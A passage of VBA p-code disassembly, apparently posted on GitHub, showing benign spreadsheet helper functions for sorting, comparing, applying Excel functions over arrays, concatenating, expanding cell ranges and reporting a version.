' BoS 0x0000
' Ld last
' St right
' Line #559:
' Dim
' VarDefn ascendprefix (As Long)
' BoS 0x0000
' LitDI2 0x0001
' UMi
' LitDI2 0x0002
' Ld ascend
' FnSgn
' Mul
' Sub
' St ascendprefix
' Line #560:
' Ld Left
' Ld right
' Le
' While
' Line #561:
' Ld ascendprefix
' Ld Left
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' Ld pivot
' ArgsLd Utils_Compare 0x0002
' Mul
' LitDI2 0x0000
' Lt
' While
' Line #562:
' Ld Left
' LitDI2 0x0001
' Add
' St Left
' Line #563:
' Wend
' Line #564:
' Ld ascendprefix
' Ld pivot
' Ld right
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' ArgsLd Utils_Compare 0x0002
' Mul
' LitDI2 0x0000
' Lt
' While
' Line #565:
' Ld right
' LitDI2 0x0001
' Sub
' St right
' Line #566:
' Wend
' Line #567:
' Ld Left
' Ld right
' Le
' IfBlock
' Line #568:
' Ld Left
' Ld col
' ArgsLd indices 0x0002
' St tmp
' Line #569:
' Ld right
' Ld col
' ArgsLd indices 0x0002
' Ld Left
' Ld col
' ArgsSt indices 0x0002
' Line #570:
' Ld tmp
' Ld right
' Ld col
' ArgsSt indices 0x0002
' Line #571:
' Ld Left
' LitDI2 0x0001
' Add
' St Left
' Line #572:
' Ld right
' LitDI2 0x0001
' Sub
' St right
' Line #573:
' EndIfBlock
' Line #574:
' Wend
' Line #575:
' Ld arr
' Ld indices
' Ld first
' Ld right
' Ld col
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #576:
' Ld arr
' Ld indices
' Ld Left
' Ld last
' Ld col
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #577:
' EndFunc
' Line #578:
' FuncDefn (Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant)
' Line #579:
' Ld arg1
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #580:
' Ld arg2
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #581:
' Ld arg1
' Ld arg2
' Sub
' St Utils_Compare
' Line #582:
' ElseBlock
' Line #583:
' LitDI2 0x0001
' UMi
' St Utils_Compare
' Line #584:
' EndIfBlock
' Line #585:
' ElseBlock
' Line #586:
' Ld arg2
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #587:
' LitDI2 0x0001
' St Utils_Compare
' Line #588:
' ElseBlock
' Line #589:
' Ld arg1
' Coerce (Str)
' Ld arg2
' Coerce (Str)
' FnStrComp
' St Utils_Compare
' Line #590:
' EndIfBlock
' Line #591:
' EndIfBlock
' Line #592:
' EndFunc
' Line #593:
' FuncDefn (Private Function fn_arrayfun(args As Variant) As Variant)
' Line #594:
' Ld args
' LitDI2 0x0002
' LitDI2 0x0064
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #595:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsLd TypeName 0x0001
' LitStr 0x0006 "String"
' Eq
' LitStr 0x0033 "apply: 1st argument must be an Excel function name."
' ArgsCall Utils_Assert 0x0002
' Line #596:
' Dim
' VarDefn i (As Long)
' VarDefn r1 (As Long)
' VarDefn c1 (As Long)
' VarDefn r2 (As Long)
' VarDefn c2 (As Long)
' Line #597:
' LitDI2 0x0001
' UMi
' St r1
' BoS 0x0000
' LitDI2 0x0001
' UMi
' St c1
' Line #598:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0002
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #599:
' Ld i
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #600:
' Ld i
' ArgsLd args 0x0001
' Ld r2
' Ld c2
' ArgsCall Utils_Size 0x0003
' Line #601:
' Ld r1
' LitDI2 0x0000
' Lt
' Ld c1
' LitDI2 0x0000
' Lt
' And
' Paren
' Ld r2
' LitDI2 0x0001
' Eq
' Ld c2
' LitDI2 0x0001
' Eq
' And
' Paren
' Or
' Ld r1
' Ld r2
' Eq
' Ld c1
' Ld c2
' Eq
' And
' Paren
' Or
' Ld r1
' LitDI2 0x0001
' Eq
' Ld r1
' Ld r2
' Eq
' Or
' Paren
' Ld c2
' LitDI2 0x0001
' Eq
' And
' Paren
' Or
' Ld r2
' LitDI2 0x0001
' Eq
' Ld c1
' LitDI2 0x0001
' Eq
' Ld c1
' Ld c2
' Eq
' Or
' Paren
' And
' Paren
' Or
' LitStr 0x001B "apply(): Wrong input sizes."
' ArgsCall Utils_Assert 0x0002
' Line #602:
' Ld r1
' Ld r2
' ArgsLd MAX 0x0002
' St r1
' BoS 0x0000
' Ld c1
' Ld c2
' ArgsLd MAX 0x0002
' St c1
' Line #603:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #604:
' Dim
' VarDefn v
' VarDefn r
' BoS 0x0000
' OptionBase
' Ld r1
' OptionBase
' Ld c1
' Redim r 0x0002 (As Variant)
' Line #605:
' StartForVariable
' Ld r1
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0001
' FnUBound 0x0001
' For
' Line #606:
' StartForVariable
' Ld c1
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #607:
' LitVarSpecial (Empty)
' St v
' Line #608:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0002
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #609:
' Ld i
' ArgsLd args 0x0001
' Ld r2
' Ld c2
' ArgsCall Utils_Size 0x0003
' Line #610:
' Ld r1
' Ld r2
' ArgsLd MIN 0x0002
' Ld c1
' Ld c2
' ArgsLd MIN 0x0002
' Ld i
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld v
' ArgsCall Utils_Stack_Push 0x0002
' Line #611:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #612:
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitStr 0x0001 "("
' Concat
' Ld v
' LitStr 0x0001 ","
' ArgsLd Join 0x0002
' Concat
' LitStr 0x0001 ")"
' Concat
' ArgsLd Evaluate 0x0001
' Ld r1
' Ld c1
' ArgsSt r 0x0002
' Line #613:
' StartForVariable
' Ld c1
' EndForVariable
' NextVar
' Line #614:
' StartForVariable
' Ld r1
' EndForVariable
' NextVar
' Line #615:
' Ld r
' Ld fn_arrayfun
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #616:
' EndFunc
' Line #617:
' FuncDefn (Private Function fn_concat(args As Variant) As Variant)
' Line #618:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0003
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #619:
' Dim
' VarDefn i (As Long)
' VarDefn j (As Long)
' VarDefn x (As Long)
' VarDefn joiner (As String)
' Line #620:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #621:
' Ld args
' LitDI2 0x0003
' ArgsLd Utils_CalcDimDirection 0x0002
' St x
' Line #622:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' Gt
' If
' BoSImplicit
' LitDI2 0x0002
' ArgsLd args 0x0001
' St joiner
' EndIf
' Line #623:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' Ld x
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' OptionBase
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' Mul
' Ld x
' Add
' Redim r 0x0002 (As Variant)
' Line #624:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' For
' Line #625:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #626:
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld i
' Mul
' Ld x
' Ld j
' Mul
' Add
' LitDI2 0x0001
' Eq
' IfBlock
' Line #627:
' Ld i
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsSt r 0x0002
' Line #628:
' ElseBlock
' Line #629:
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsLd r 0x0002
' Ld joiner
' Concat
' Ld i
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Concat
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsSt r 0x0002
' Line #630:
' EndIfBlock
' Line #631:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #632:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #633:
' Ld r
' Ld fn_concat
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #634:
' EndFunc
' Line #635:
' FuncDefn (Private Function fn_expand(args As Variant) As Variant)
' Line #636:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0003
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #637:
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0001
' LitStr 0x0008 "eval_arg"
' Eq
' LitStr 0x0025 "expand(): 1st argument must be a cell"
' ArgsCall Utils_Assert 0x0002
' Line #638:
' Dim
' VarDefn cell
' BoS 0x0000
' SetStmt
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0001
' ArgsLd arguments 0x0001
' Set cell
' Line #639:
' Dim
' VarDefn rows (As Long)
' VarDefn cols (As Long)
' Line #640:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' Gt
' If
' BoSImplicit
' LitDI2 0x0002
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' St rows
' EndIf
' Line #641:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0002
' Gt
' If
' BoSImplicit
' LitDI2 0x0003
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' St cols
' EndIf
' Line #642:
' Ld rows
' LitDI2 0x0000
' Le
' IfBlock
' Line #643:
' Ld xlDown
' Ld cell
' ArgsMemLd End 0x0001
' MemLd Row
' Ld cell
' MemLd Row
' Sub
' LitDI2 0x0001
' Add
' St rows
' Line #644:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' Ld Application
' MemLd WorksheetFunction
' ArgsMemLd IsError 0x0001
' Not
' IfBlock
' Line #645:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' St rows
' EndIf
' Line #646:
' EndIfBlock
' Line #647:
' EndIfBlock
' Line #648:
' Ld cols
' LitDI2 0x0000
' Le
' IfBlock
' Line #649:
' Ld xlToRight
' Ld cell
' ArgsMemLd End 0x0001
' MemLd Column
' Ld cell
' MemLd Column
' Sub
' LitDI2 0x0001
' Add
' St cols
' Line #650:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' Ld Application
' MemLd WorksheetFunction
' ArgsMemLd IsError 0x0001
' Not
' IfBlock
' Line #651:
' LitDI2 0x0000
' LitDI2 0x0001
' Ld cell
' ArgsMemLd Offset 0x0002
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' St cols
' EndIf
' Line #652:
' EndIfBlock
' Line #653:
' EndIfBlock
' Line #654:
' Ld rows
' Ld cols
' Ld cell
' ArgsMemLd Resize 0x0002
' MemLd Value
' Ld fn_expand
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #655:
' EndFunc
' Line #656:
' FuncDefn (Private Function fn_version(args As Variant) As Variant)
' Line #657:
' Ld args
' LitDI2 0x0000
' LitDI2 0x0000
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #658:
' Ld VERSION
' St fn_version
' Line #659:
' EndFunc
' Line #660:
' Line #661:
' Line #662:
' Line #663:
' Line #664:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment